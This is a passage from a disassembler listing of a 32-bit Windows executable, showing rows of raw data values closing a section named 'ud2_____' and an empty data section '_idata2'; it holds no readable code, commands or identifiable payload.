		dd 0FE9EDEFh, 56000000h, 867CCC73h, 5C765952h, 0FE446A5Dh
		dd 10E98EF4h, 4F000000h, 6A274FF9h, 9A207CA6h, 98AEC347h
		dd 0B7745B2Dh, 12E960A4h, 0B5000000h, 0C0BB7ED3h, 71B0E1E1h
		dd 0BD5F059Dh, 0C9FA0140h, 0E7816671h, 6661B4B0h, 57FDD781h
		dd 81C9BF0Fh, 0D0E7A3EFh, 0C88B665Eh, 0E38166F8h, 9E96F27h
		dd 4F000000h, 3A9C828h,	8DDC7CE2h, 0F5D7F480h, 1FC0C781h
		dd 81502121h, 526F16DFh, 0FE85847h, 0F8000000h,	64B4F56Ch
		dd 62942FA4h, 1E1ED908h, 0AE94D75h, 25000000h, 13E51BF3h
		dd 0BF674B20h, 81665F09h, 0E85D67E0h, 0Fh, 33C63771h, 0FC164247h
		dd 0EEEA863h, 0E91870E3h, 0Bh, 0EEEC51BDh, 7B2BAFAAh, 59CB71D6h
		dd 12E9h, 3C200E00h, 6DE5D533h,	0E2BDA13Fh, 467E64A6h
		dd 0B72B1AD5h, 0B70F603Ch, 76C080F6h, 0D580F961h, 66D78B41h
		dd 0E8BD2EB8h, 9, 0C72FEDAAh, 3ACAC64Ch, 5EF88BBEh, 14E9h
		dd 24FFC400h, 0EAF838E9h, 771DB2E0h, 1463486Bh,	66AA1FA4h
		dd 0BDB252D5h, 0C6816659h, 0C78106E3h, 4A9938EFh, 0BED88B66h
		dd 2F67B899h, 12DA8166h, 0FE808h, 6AFF0000h, 0CF3B8A6Eh
		dd 68664787h, 843EDA00h, 0A3BBBF25h, 0E95B1BAEh, 8, 142ACA56h
		dd 5ABC386Dh, 0A11CCB81h, 0BE661AB8h, 8E0FE76Ah, 5, 3DEE8166h
		dd 0EE84Ah, 254A0000h, 0B2705D92h, 89C7628Dh, 794F6B8Ch
		dd 6E95Fh, 0CAF60000h, 49E1D84Ah, 53ECE181h, 0E95348E4h
		dd 0Bh,	26EEF067h, 4464540Ah, 5E92D0C0h, 8B66C88Bh, 0E9FA8BDEh
		dd 0Ah,	2ED2F797h, 8B5E776Ah, 8AF54DFDh, 1CC580FDh, 0FF6BF0Fh
		dd 0DE8CFBFh, 68000000h, 106AA142h, 0C5E3B942h,	8A851Fh
		dd 0BF5AD78Ah, 51C396ECh, 0C6816653h, 66589959h, 41B9D38Bh
		dd 0BE75AD46h, 4FFA6C59h, 58E0Fh, 81660000h, 0BEBC6EC2h
		dd 0EEh	dup(0BEF9271Dh), 0FB6C81CFh, 23Ch dup(0FB6C81D6h)
		dd 766C81D6h, 1AAh dup(77027513h), 627513h, 372h dup(62DF1Ch)
dword_5DAC00	dd 62h dup(62DF1Ch), 0F9E5DF1Ch, 236h dup(0F9E55270h)
					; DATA XREF: ud2_____:0056CF90o
		dd 91Dh	dup(0CCCCCCCCh), 0CCCCCCh, 149h	dup(0)
ud2_____	ends

; Section 5. (virtual address 001DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DE000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start